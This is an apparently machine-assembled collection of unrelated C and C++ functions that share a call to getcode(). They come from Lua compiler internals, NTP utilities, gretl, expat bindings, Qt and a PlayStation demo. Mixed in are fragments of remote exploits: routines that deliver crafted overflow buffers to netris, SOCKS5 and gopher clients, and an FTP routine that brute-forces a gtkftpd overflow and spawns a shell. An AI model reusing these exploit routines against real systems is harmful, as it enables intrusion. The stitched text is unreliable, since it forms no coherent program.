static void retstat (LexState *ls) { /* stat -> RETURN explist */ FuncState *fs = ls->fs; expdesc e; int first, nret; /* registers with returned values */ luaX_next(ls); /* skip RETURN */ if (block_follow(ls->t.token) || ls->t.token == ';') first = nret = 0; /* return no values */ else { nret = explist1(ls, &e); /* optional return values */ if (hasmultret(e.k)) { luaK_setmultret(fs, &e); if (e.k == VCALL && nret == 1) { /* tail call? */ SET_OPCODE(getcode(fs,&e), OP_TAILCALL); lua_assert(GETARG_A(getcode(fs,&e)) == fs->nactvar); } first = fs->nactvar; nret = LUA_MULTRET; /* return all values */ } else { if (nret == 1) /* only one single value? */ first = luaK_exp2anyreg(fs, &e); else { luaK_exp2nextreg(fs, &e); /* values must go to the `stack' */ first = fs->nactvar; /* return all `active' values */ lua_assert(nret == fs->freereg - first); } } } luaK_ret(fs, first, nret); }
void luaK_setreturns (FuncState *fs, expdesc *e, int nresults) { if (e->k == VCALL) { /* expression is an open function call? */ SETARG_C(getcode(fs, e), nresults + 1); } else if (e->k == VVARARG) { SETARG_B(getcode(fs, e), nresults + 1); SETARG_A(getcode(fs, e), fs->freereg); luaK_reserveregs(fs, 1); } }
void luaK_setoneret (FuncState *fs, expdesc *e) { if (e->k == VCALL) { /* expression is an open function call? */ e->k = VNONRELOC; e->u.s.info = GETARG_A(getcode(fs, e)); } else if (e->k == VVARARG) { SETARG_B(getcode(fs, e), 2); e->k = VRELOCABLE; /* can relocate its simple result */ } }
void luaK_setoneret (FuncState *fs, expdesc *e) { if (e->k == VCALL) { /* expression is an open function call? */ e->k = VNONRELOC; e->u.info = GETARG_A(getcode(fs, e)); DEBUG_EXPR(raviY_printf(fs, "luaK_setoneret (VCALL->VNONRELOC) %e\n", e)); } else if (e->k == VVARARG) { SETARG_B(getcode(fs, e), 2); DEBUG_CODEGEN(raviY_printf(fs, "[%d]* %o ; set B to 2\n", e->u.info, getcode(fs,e))); e->k = VRELOCABLE; /* can relocate its simple result */ DEBUG_EXPR(raviY_printf(fs, "luaK_setoneret (VVARARG->VNONRELOC) %e\n", e)); } }
const char * eventstr( int num ) { if (num & PEER_EVENT) return (getcode(num & ~PEER_EVENT, peer_codes)); #ifdef OPENSSL else if (num & CRPT_EVENT) return (getcode(num & ~CRPT_EVENT, crypto_codes)); #endif /* OPENSSL */ else return (getcode(num, sys_codes)); }
void luaK_posfix (FuncState *fs, BinOpr op, expdesc *e1, expdesc *e2, int line) { switch (op) { case OPR_AND: { lua_assert(e1->t == NO_JUMP); /* list must be closed */ luaK_dischargevars(fs, e2); luaK_concat(fs, &e2->f, e1->f); *e1 = *e2; break; } case OPR_OR: { lua_assert(e1->f == NO_JUMP); /* list must be closed */ luaK_dischargevars(fs, e2); luaK_concat(fs, &e2->t, e1->t); *e1 = *e2; break; } case OPR_CONCAT: { luaK_exp2val(fs, e2); if (e2->k == VRELOCABLE && GET_OPCODE(getcode(fs, e2)) == OP_CONCAT) { lua_assert(e1->u.info == GETARG_B(getcode(fs, e2))-1); freeexp(fs, e1); SETARG_B(getcode(fs, e2), e1->u.info); e1->k = VRELOCABLE; e1->u.info = e2->u.info; } else { luaK_exp2nextreg(fs, e2); /* operand must be on the 'stack' */ codearith(fs, OP_CONCAT, e1, e2, line); } break; } case OPR_ADD: case OPR_SUB: case OPR_MUL: case OPR_DIV: case OPR_IDIV: case OPR_MOD: case OPR_POW: case OPR_BAND: case OPR_BOR: case OPR_BXOR: case OPR_SHL: case OPR_SHR: { codearith(fs, cast(OpCode, (op - OPR_ADD) + OP_ADD), e1, e2, line); break; } case OPR_EQ: case OPR_LT: case OPR_LE: { codecomp(fs, cast(OpCode, op - OPR_EQ + OP_EQ), 1, e1, e2); break; } case OPR_NE: case OPR_GT: case OPR_GE: { codecomp(fs, cast(OpCode, op - OPR_NE + OP_EQ), 0, e1, e2); break; } default: lua_assert(0); } }
static void retstat (LexState *ls) { /* stat -> RETURN explist */ FuncState *fs = ls->fs; BlockCnt *bl = fs->bl; expdesc e; int first, nret; /* registers with returned values */ int ret_in_try = 0; luaX_next(ls); /* skip RETURN */ if (block_follow(ls->t.token) || ls->t.token == ';') first = nret = 0; /* return no values */ else { nret = explist1(ls, &e); /* optional return values */ if (hasmultret(e.k)) { luaK_setmultret(fs, &e); if (e.k == VCALL && nret == 1) { /* tail call? */ SET_OPCODE(getcode(fs,&e), OP_TAILCALL); lua_assert(GETARG_A(getcode(fs,&e)) == fs->nactvar); } first = fs->nactvar; nret = LUA_MULTRET; /* return all values */ } else { if (nret == 1) /* only one single value? */ first = luaK_exp2anyreg(fs, &e); else { luaK_exp2nextreg(fs, &e); /* values must go to the `stack' */ first = fs->nactvar; /* return all `active' values */ lua_assert(nret == fs->freereg - first); } } } /* before return, we should exit all try-catch blocks */ while (bl) { if (bl->isbreakable == 2) { if (ret_in_try) luaK_codeABC(fs, OP_EXITTRY, 0, 0, 0); else { ret_in_try = 1; luaK_codeABC(fs, OP_EXITTRY, first, nret+1, 1); /* here we will save all return values */ } } else if (bl->isbreakable == 3) luaX_syntaxerror(ls, "can't return in _finally_ clause"); bl = bl->previous; } luaK_codeABC(fs, OP_RETURN, first, nret+1, ret_in_try); }
unsigned short netris_connect(char *hostname, unsigned short port){ int sock; struct hostent *t; struct sockaddr_in s; sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s.sin_family=AF_INET; s.sin_port=htons(port); printf("[*] attempting to connect: %s:%d.\n",hostname,port); if((s.sin_addr.s_addr=inet_addr(hostname))){ if(!(t=gethostbyname(hostname))) printe("couldn't resolve hostname.",1); memcpy((char*)&s.sin_addr,(char*)t->h_addr, sizeof(s.sin_addr)); } signal(SIGALRM,sig_alarm); alarm(TIMEOUT); if(connect(sock,(struct sockaddr *)&s,sizeof(s))) printe("netris connection failed.",1); alarm(0); printf("[*] successfully connected: %s:%d.\n",hostname,port); write(sock,getcode(),BUFSIZE); sleep(1); close(sock); return(0); }
static ExpatStatus handler_StartDocument(void *arg) { PyObject *self = (PyObject *)arg; PyObject *handler, *args, *result; PyObject_Print(self, stdout, 0); fflush(stdout); handler = PyObject_GetAttrString(self, "start_document"); if (handler == NULL) return EXPAT_STATUS_ERROR; /* if the method was not overriden, save some cycles and just return */ if (PyCFunction_Check(handler) && PyCFunction_GET_FUNCTION(handler) == handler_noop) { Py_DECREF(handler); return EXPAT_STATUS_OK; } args = PyTuple_New(0); if (args == NULL) { Py_DECREF(handler); return EXPAT_STATUS_ERROR; } result = PyTrace_CallObject(getcode(StartDocument), handler, args); Py_DECREF(args); if (result == NULL) { Py_DECREF(handler); return EXPAT_STATUS_ERROR; } Py_DECREF(result); Py_DECREF(handler); return EXPAT_STATUS_OK; }
static ExpatStatus handler_Whitespace(void *arg, PyObject *data) { PyObject *self = (PyObject *)arg; PyObject *handler, *args, *result; handler = PyObject_GetAttrString(self, "whitespace"); if (handler == NULL) return EXPAT_STATUS_ERROR; /* if the method was not overriden, save some cycles and just return */ if (PyCFunction_Check(handler) && PyCFunction_GET_FUNCTION(handler) == handler_noop) { Py_DECREF(handler); return EXPAT_STATUS_OK; } args = PyTuple_Pack(1, data); if (args == NULL) { Py_DECREF(handler); return EXPAT_STATUS_ERROR; } result = PyTrace_CallObject(getcode(Whitespace), handler, args); Py_DECREF(args); if (result == NULL) { Py_DECREF(handler); return EXPAT_STATUS_ERROR; } Py_DECREF(result); Py_DECREF(handler); return EXPAT_STATUS_OK; }
char *socks5_bind(unsigned short port,unsigned int retaddr){ int ssock=0,sock=0,so=1; socklen_t salen=0; unsigned char *buf; struct sockaddr_in ssa,sa; ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so)); #ifdef SO_REUSEPORT setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so)); #endif ssa.sin_family=AF_INET; ssa.sin_port=htons(port); ssa.sin_addr.s_addr=INADDR_ANY; printf("[*] awaiting connection from: *:%d.\n",port); if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1) printe("could not bind socket.",1); listen(ssock,2); bzero((char*)&sa,sizeof(struct sockaddr_in)); salen=sizeof(sa); sock=accept(ssock,(struct sockaddr *)&sa,&salen); close(ssock); printf("[*] socks-5 server connection established.\n"); if(!(buf=(unsigned char *)malloc(BUFSIZE+7+1))) printe("socks5_bind(): allocating memory failed.",1); memcpy(buf,"\x05\x00\x05\x00\x00\x03",6); buf[6]=BUFSIZE; memcpy(buf+7,getcode(retaddr),BUFSIZE); printf("[*] sending specially crafted string. (exploit)\n"); write(sock,buf,BUFSIZE+7); free(buf); sleep(1); close(sock); printf("[*] socks-5 server connection closed.\n"); return(inet_ntoa(sa.sin_addr)); }
char *netris_bind(unsigned short port){ int ssock=0,sock=0,so=1; unsigned int salen=0; struct sockaddr_in ssa,sa; ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so)); #ifdef SO_REUSEPORT setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so)); #endif ssa.sin_family=AF_INET; ssa.sin_port=htons(port); ssa.sin_addr.s_addr=INADDR_ANY; printf("[*] awaiting connection from: *:%d.\n",port); if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1) printe("could not bind socket.",1); listen(ssock,1); bzero((char*)&sa,sizeof(struct sockaddr_in)); salen=sizeof(sa); sock=accept(ssock,(struct sockaddr *)&sa,&salen); close(ssock); printf("[*] netris server connection established.\n"); write(sock,getcode(),BUFSIZE); sleep(1); close(sock); printf("[*] netris server connection closed.\n"); return(inet_ntoa(sa.sin_addr)); }
static ExpatStatus handler_EndElement(void *arg, ExpatName *name) { PyObject *self = (PyObject *)arg; PyObject *handler, *args, *result; handler = PyObject_GetAttrString(self, "end_element"); if (handler == NULL) return EXPAT_STATUS_ERROR; /* if the method was not overriden, save some cycles and just return */ if (PyCFunction_Check(handler) && PyCFunction_GET_FUNCTION(handler) == handler_noop) { Py_DECREF(handler); return EXPAT_STATUS_OK; } args = Py_BuildValue("(OO)O", name->namespaceURI, name->localName, name->qualifiedName); if (args == NULL) { Py_DECREF(handler); return EXPAT_STATUS_ERROR; } result = PyTrace_CallObject(getcode(EndElement), handler, args); Py_DECREF(args); if (result == NULL) { Py_DECREF(handler); return EXPAT_STATUS_ERROR; } Py_DECREF(result); Py_DECREF(handler); return EXPAT_STATUS_OK; }
static ExpatStatus handler_StartElement(void *arg, ExpatName *name, ExpatAttribute atts[], size_t natts) { HandlerObject *self = (HandlerObject *)arg; PyObject *handler, *args, *result; handler = PyObject_GetAttrString((PyObject *)self, "start_element"); if (handler == NULL) return EXPAT_STATUS_ERROR; /* if the method was not overriden, save some cycles and just return */ if (PyCFunction_Check(handler) && PyCFunction_GET_FUNCTION(handler) == handler_noop) { Py_DECREF(handler); return EXPAT_STATUS_OK; } args = Py_BuildValue("(OO)OON", name->namespaceURI, name->localName, name->qualifiedName, self->new_namespaces, Attributes_New(atts, natts)); if (args == NULL) { PyDict_CLEAR(self->new_namespaces); Py_DECREF(handler); return EXPAT_STATUS_ERROR; } result = PyTrace_CallObject(getcode(StartElement), handler, args); PyDict_CLEAR(self->new_namespaces); Py_DECREF(args); Py_DECREF(handler); if (result == NULL) return EXPAT_STATUS_ERROR; Py_DECREF(result); return EXPAT_STATUS_OK; }
const char * ceventstr( int num ) { return getcode(num, clock_codes); }
int CodesObject::qt_metacall(QMetaObject::Call _c, int _id, void **_a) { _id = TSqlObject::qt_metacall(_c, _id, _a); if (_id < 0) return _id; #ifndef QT_NO_PROPERTIES if (_c == QMetaObject::ReadProperty) { void *_v = _a[0]; switch (_id) { case 0: *reinterpret_cast< int*>(_v) = getid(); break; case 1: *reinterpret_cast< QString*>(_v) = gettitle(); break; case 2: *reinterpret_cast< QString*>(_v) = getcode(); break; case 3: *reinterpret_cast< QString*>(_v) = getcode_url(); break; case 4: *reinterpret_cast< int*>(_v) = getstatus(); break; case 5: *reinterpret_cast< QDateTime*>(_v) = getcreated_at(); break; case 6: *reinterpret_cast< QDateTime*>(_v) = getupdated_at(); break; case 7: *reinterpret_cast< int*>(_v) = geteditable(); break; case 8: *reinterpret_cast< int*>(_v) = getuser_id(); break; case 9: *reinterpret_cast< QString*>(_v) = getshow_from(); break; } _id -= 10; } else if (_c == QMetaObject::WriteProperty) { void *_v = _a[0]; switch (_id) { case 0: setid(*reinterpret_cast< int*>(_v)); break; case 1: settitle(*reinterpret_cast< QString*>(_v)); break; case 2: setcode(*reinterpret_cast< QString*>(_v)); break; case 3: setcode_url(*reinterpret_cast< QString*>(_v)); break; case 4: setstatus(*reinterpret_cast< int*>(_v)); break; case 5: setcreated_at(*reinterpret_cast< QDateTime*>(_v)); break; case 6: setupdated_at(*reinterpret_cast< QDateTime*>(_v)); break; case 7: seteditable(*reinterpret_cast< int*>(_v)); break; case 8: setuser_id(*reinterpret_cast< int*>(_v)); break; case 9: setshow_from(*reinterpret_cast< QString*>(_v)); break; } _id -= 10; } else if (_c == QMetaObject::ResetProperty) { _id -= 10; } else if (_c == QMetaObject::QueryPropertyDesignable) { _id -= 10; } else if (_c == QMetaObject::QueryPropertyScriptable) { _id -= 10; } else if (_c == QMetaObject::QueryPropertyStored) { _id -= 10; } else if (_c == QMetaObject::QueryPropertyEditable) { _id -= 10; } else if (_c == QMetaObject::QueryPropertyUser) { _id -= 10; } else if (_c == QMetaObject::RegisterPropertyMetaType) { if (_id < 10) *reinterpret_cast<int*>(_a[0]) = -1; _id -= 10; } #endif // QT_NO_PROPERTIES return _id; }
static void exprstat (LexState *ls) { /* stat -> func | assignment */ FuncState *fs = ls->fs; struct LHS_assign v; primaryexp(ls, &v.v); if (v.v.k == VCALL) /* stat -> func */ SETARG_C(getcode(fs, &v.v), 1); /* call statement uses no results */ else { /* stat -> assignment */ v.prev = NULL; assignment(ls, &v, 1); } }
static int jumponcond (FuncState *fs, expdesc *e, int cond) { if (e->k == VRELOCABLE) { Instruction ie = getcode(fs, e); if (GET_OPCODE(ie) == OP_NOT) { fs->pc--; /* remove previous OP_NOT */ return condjump(fs, OP_TEST, GETARG_A(ie), 0, !cond); } /* else go through */ } discharge2anyreg(fs, e); freeexp(fs, e); return condjump(fs, OP_TEST, e->u.info, 0, cond); }
int encode(int n, int width, int total) { int i, j, t, code, result, row, col; code = getcode(n); row = (n - 1) / width; col = (n - 1) % width; result = 0; for (i = row - 1; i <= row + 1; i++) { for (j = col - 1; j <= col + 1; j++) { t = i * width + j; if (i<0 || j<0 || j > width - 1 || t == n - 1 || t > total - 1) continue; if (abs(getcode(t + 1) - code) > result) result = abs(getcode(t+1) - code); } } return result; }
int main(int argc, char* argv[]) { if(!(argc == 5)) { printf("usage:"); printf("getwcode [input filename] [output filename] [output filename (c style)] [var name]\r\n"); return 0; } getcode(argv[1],argv[2],argv[3],argv[4]); return 0; }
static void discharge2reg(FuncState *fs, expdesc *e, int reg) { luaK_dischargevars(fs, e); switch (e->k) { case VNIL: { luaK_nil(fs, reg, 1); break; } case VFALSE: case VTRUE: { luaK_codeABC(fs, OP_LOADBOOL, reg, e->k == VTRUE, 0); break; } case VK: { luaK_codek(fs, reg, e->u.info); break; } case VKNUM: { luaK_codek(fs, reg, luaK_numberK(fs, e->u.nval)); break; } case VRELOCABLE: { Instruction *pc = &getcode(fs, e); SETARG_A(*pc, reg); break; } case VNONRELOC: { if (reg != e->u.info) luaK_codeABC(fs, OP_MOVE, reg, e->u.info, 0); break; } default: { lua_assert(e->k == VVOID || e->k == VJMP); return; /* nothing to do... */ } } e->u.info = reg; e->k = VNONRELOC; }
static void discharge2reg(ktap_funcstate *fs, ktap_expdesc *e, int reg) { codegen_dischargevars(fs, e); switch (e->k) { case VNIL: { codegen_nil(fs, reg, 1); break; } case VFALSE: case VTRUE: { codegen_codeABC(fs, OP_LOADBOOL, reg, e->k == VTRUE, 0); break; } case VEVENT: codegen_codeABC(fs, OP_EVENT, reg, 0, 0); break; case VEVENTNAME: codegen_codeABC(fs, OP_EVENTNAME, reg, 0, 0); break; case VEVENTARG: codegen_codeABC(fs, OP_EVENTARG, reg, e->u.info, 0); break; case VK: { codegen_codek(fs, reg, e->u.info); break; } case VKNUM: { codegen_codek(fs, reg, codegen_numberK(fs, e->u.nval)); break; } case VRELOCABLE: { ktap_instruction *pc = &getcode(fs, e); SETARG_A(*pc, reg); break; } case VNONRELOC: { if (reg != e->u.info) codegen_codeABC(fs, OP_MOVE, reg, e->u.info, 0); break; } default: ktap_assert(e->k == VVOID || e->k == VJMP); return; /* nothing to do... */ } e->u.info = reg; e->k = VNONRELOC; }
void luaK_setreturns (FuncState *fs, expdesc *e, int nresults) { if (e->k == VCALL) { /* expression is an open function call? */ SETARG_C(getcode(fs, e), nresults+1); DEBUG_CODEGEN(raviY_printf(fs, "[%d]* %o ; set C to %d\n", e->u.info, getcode(fs,e), nresults+1)); } else if (e->k == VVARARG) { SETARG_B(getcode(fs, e), nresults+1); DEBUG_CODEGEN(raviY_printf(fs, "[%d]* %o ; set B to %d\n", e->u.info, getcode(fs,e), nresults + 1)); SETARG_A(getcode(fs, e), fs->freereg); DEBUG_CODEGEN(raviY_printf(fs, "[%d]* %o ; set A to %d\n", e->u.info, getcode(fs,e), fs->freereg)); luaK_reserveregs(fs, 1); } }
void ftp_parse(int sock){ unsigned int offset=0; ftp_read(sock); /* get the banner. */ ftp_printf(sock,"USER %s\r\n",user); ftp_read(sock); ftp_printf(sock,"PASS %s\r\n",pass); ftp_read(sock); ftp_printf(sock,"CWD %s\r\n",writedir); ftp_read(sock); basedir=getbdir(); /* tmp dir of our own to use. */ ftp_printf(sock,"MKD %s\r\n",basedir); ftp_read(sock); ftp_printf(sock,"CWD %s\r\n",basedir); ftp_read(sock); while(offset<(attempts*400)){ /* if it hasn't yet, it's not going to. */ /* slight null-byte/CR check, only needs to check the last byte. */ if((!reverse&&!((baseaddr-offset)&0xff))||(reverse&&!((baseaddr+offset) &0xff))||(!reverse&&((baseaddr-offset)&0xff)=='\n')||(reverse&& ((baseaddr+offset)&0xff)=='\n')){ printf("[!] brute address contains null-byte/CR, increasing offset " "by one byte.\n"); offset++; /* one byte off if reversed won't hurt here. (401) */ } /* make the evil oversized directory. (255 or less bytes) */ ftp_printf(sock,"MKD %s\r\n",getdir(offset)); ftp_read(sock); /* date+directory exceeds 256 byte buffer, the exploit. */ sleep(1); /* delay insurance. */ ftp_printf(sock,"LIST -%s\r\n",getcode()); /* nothing to read here, and gtkftpd processes (the exploit) */ /* before the ftp list connection is made, making it */ /* pointless to view the list. */ sleep(1); /* delay insurance, again, just to be sure. */ /* delete directory, multiples will cause failure(s). */ ftp_printf(sock,"RMD %s\r\n",getdir(offset)); ftp_read(sock); getshell(sock,offset); offset+=400; /* always at least 400 nops in a row, in shellcode. */ } ftp_clean(sock); close(sock); return; }
char *gopherd_bind(unsigned short port){ int ssock=0,sock=0,so=1; unsigned int salen=0; char pseudobuf[2]; struct sockaddr_in ssa,sa; ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so)); #ifdef SO_REUSEPORT setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so)); #endif ssa.sin_family=AF_INET; ssa.sin_port=htons(port); ssa.sin_addr.s_addr=INADDR_ANY; printf("[*] awaiting connection from: *:%d.\n",port); if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1) printe("could not bind socket.",1); listen(ssock,1); bzero((char*)&sa,sizeof(struct sockaddr_in)); salen=sizeof(sa); sock=accept(ssock,(struct sockaddr *)&sa,&salen); close(ssock); printf("[*] gopher server connection established.\n"); /* not really needed, but i feel better with it waiting for it. */ printf("[*] waiting for <any> request/data...\n"); read(sock,pseudobuf,1); printf("[*] received request/data, sending overflow.\n"); /* setup the precursor to cause the overflow. */ write(sock,"+-1\n",4); write(sock,"+INFO:\t0filler\tfiller\tfiller\tfiller\n",36); write(sock,"+VIEWS:\t\n ",10); /* the overflow. */ write(sock,getcode(),BUFSIZE); write(sock,"\n",1); sleep(1); close(sock); printf("[*] gopher server connection closed.\n"); return(inet_ntoa(sa.sin_addr)); }
static double record_or_get_test_result (double teststat, double pval, double lnl, char *instr, int code) { static char savestr[MAXLABEL] = {0}; static double val = NADBL; static double pv = NADBL; static double ll = NADBL; double ret = NADBL; if (code == SET_TEST_STAT) { last_test_type = GRETL_TYPE_DOUBLE; val = teststat; pv = pval; ll = lnl; *savestr = '\0'; if (instr != NULL) { strncat(savestr, instr, MAXLABEL - 1); } } else if (getcode(code) && last_test_type == GRETL_TYPE_DOUBLE) { if (instr != NULL) { if (code == GET_TEST_STAT) { sprintf(instr, _("%s test"), savestr); } else if (code == GET_TEST_PVAL) { sprintf(instr, _("p-value for %s test"), savestr); } else if (code == GET_TEST_LNL) { sprintf(instr, _("log-likelihood for %s test"), savestr); } } if (code == GET_TEST_STAT) { ret = val; } else if (code == GET_TEST_PVAL) { ret = pv; } else if (code == GET_TEST_LNL) { ret = ll; } } return ret; }
static void exprstat (LexState *ls) { #if LUA_MUTATION_OPERATORS /* stat -> func | compound | assignment */ #else /* stat -> func | assignment */ #endif /* LUA_MUTATION_OPERATORS */ FuncState *fs = ls->fs; struct LHS_assign v; primaryexp(ls, &v.v); if (v.v.k == VCALL) /* stat -> func */ SETARG_C(getcode(fs, &v.v), 1); /* call statement uses no results */ #if LUA_MUTATION_OPERATORS else { /* stat -> compound | assignment */ v.prev = NULL; switch(ls->t.token) { case TK_ADD_EQ: case TK_SUB_EQ: case TK_MUL_EQ: case TK_DIV_EQ: case TK_MOD_EQ: case TK_POW_EQ: compound(ls, &v); break; case ',': case '=': assignment(ls, &v, 1); break; default: luaX_syntaxerror(ls, luaO_pushfstring(ls->L, "'+=','-=','*=', '/=', '%=', '^=', '=' expected")); break; } #else else { /* stat -> assignment */ v.prev = NULL; assignment(ls, &v, 1); #endif /* LUA_MUTATION_OPERATORS */ } }
static gretl_matrix * record_or_get_test_matrix (gretl_matrix *tests, gretl_matrix *pvals, int code, int *err) { static gretl_matrix *vals = NULL; static gretl_matrix *pvs = NULL; gretl_matrix *ret = NULL; if (code == TESTS_CLEANUP) { gretl_matrix_free(vals); gretl_matrix_free(pvs); vals = pvs = NULL; last_test_type = GRETL_TYPE_NONE; return NULL; } if (code == SET_TEST_STAT) { last_test_type = GRETL_TYPE_MATRIX; gretl_matrix_free(vals); vals = tests; gretl_matrix_free(pvs); pvs = pvals; } else if (getcode(code)) { gretl_matrix *src = (code == GET_TEST_STAT)? vals : pvs; if (src != NULL) { ret = gretl_matrix_copy(src); if (ret == NULL) { *err = E_ALLOC; } } else { *err = E_BADSTAT; } } return ret; }
/* * statustoa - return a descriptive string for a peer status */ char * statustoa( int type, int st ) { char * cb; char * cc; u_char pst; LIB_GETBUF(cb); switch (type) { case TYPE_SYS: snprintf(cb, LIB_BUFLENGTH, "%s, %s, %s, %s", getcode(CTL_SYS_LI(st), leap_codes), getcode(CTL_SYS_SOURCE(st), sync_codes), getevents(CTL_SYS_NEVNT(st)), getcode(CTL_SYS_EVENT(st), sys_codes)); break; case TYPE_PEER: pst = (u_char)CTL_PEER_STATVAL(st); snprintf(cb, LIB_BUFLENGTH, "%s, %s, %s", peer_st_flags(pst), getcode(pst & 0x7, select_codes), getevents(CTL_PEER_NEVNT(st))); if (CTL_PEER_EVENT(st) != EVNT_UNSPEC) { cc = cb + strlen(cb); snprintf(cc, LIB_BUFLENGTH - (cc - cb), ", %s", getcode(CTL_PEER_EVENT(st), peer_codes)); } break; case TYPE_CLOCK: snprintf(cb, LIB_BUFLENGTH, "%s, %s", getevents(CTL_SYS_NEVNT(st)), getcode((st) & 0xf, clock_codes)); break; } return cb; }
/************* MAIN START ******************************************/ main() { int i; GsDOBJ2 *op; int outbuf_idx; MATRIX tmpls, tmplw; u_long vcount; u_long *p; long psize, tsize, amount, reduct; long sxy0,sxy1,sxy2,sxy3; POLY_FT4 *pft; ResetCallback(); init_all(); while (1) { if (obj_interactive() == 0) return 0; GsSetRefView2(&view); outbuf_idx = GsGetActiveBuff(); GsSetWorkBase((PACKET *) out_packet[outbuf_idx]); GsClearOt(0, 0, &Wot[outbuf_idx]); for (i = 0, op = object; i < Objnum; i++) { GsGetLws(op->coord2, &tmplw, &tmpls); GsSetLightMatrix(&tmplw); GsSetLsMatrix(&tmpls); SortTMDobject(op, &Wot[outbuf_idx], 14 - OT_LENGTH); op++; } VSync(0); padd = PadRead(1); GsSwapDispBuff(); GsSortClear(0x0, 0x0, 0x0, &Wot[outbuf_idx]); amount = 0; reduct = 0; for(p = (u_long *)Wot[outbuf_idx].tag; !isendprim(p); p = nextPrim(p)){ if((getlen(p) != 0) && (getcode(p) == 0x2c)){ amount++; psize = abs(NormalClip( *(u_long *)&(((POLY_FT4 *)p)->x0), *(u_long *)&(((POLY_FT4 *)p)->x1), *(u_long *)&(((POLY_FT4 *)p)->x2)))/2; psize += abs(NormalClip( *(u_long *)&(((POLY_FT4 *)p)->x1), *(u_long *)&(((POLY_FT4 *)p)->x2), *(u_long *)&(((POLY_FT4 *)p)->x3)))/2; pft = (POLY_FT4 *)p; sxy0 = (pft->v0)<<16 | pft->u0; sxy1 = (pft->v1)<<16 | pft->u1; sxy2 = (pft->v2)<<16 | pft->u2; sxy3 = (pft->v3)<<16 | pft->u3; tsize = abs(NormalClip(sxy0,sxy1,sxy2))/2; tsize += abs(NormalClip(sxy1,sxy2,sxy3))/2; if(psize < tsize) reduct++; } } GsClearVcount(); GsDrawOt(&Wot[outbuf_idx]); DrawSync(0); vcount = GsGetVcount(); if(ismip) KanjiFntPrint("(mip-map) %d\n(%d/%d)", vcount, reduct, amount); else KanjiFntPrint("(original) %d\n(%d/%d)", vcount, reduct, amount); KanjiFntFlush(-1); } }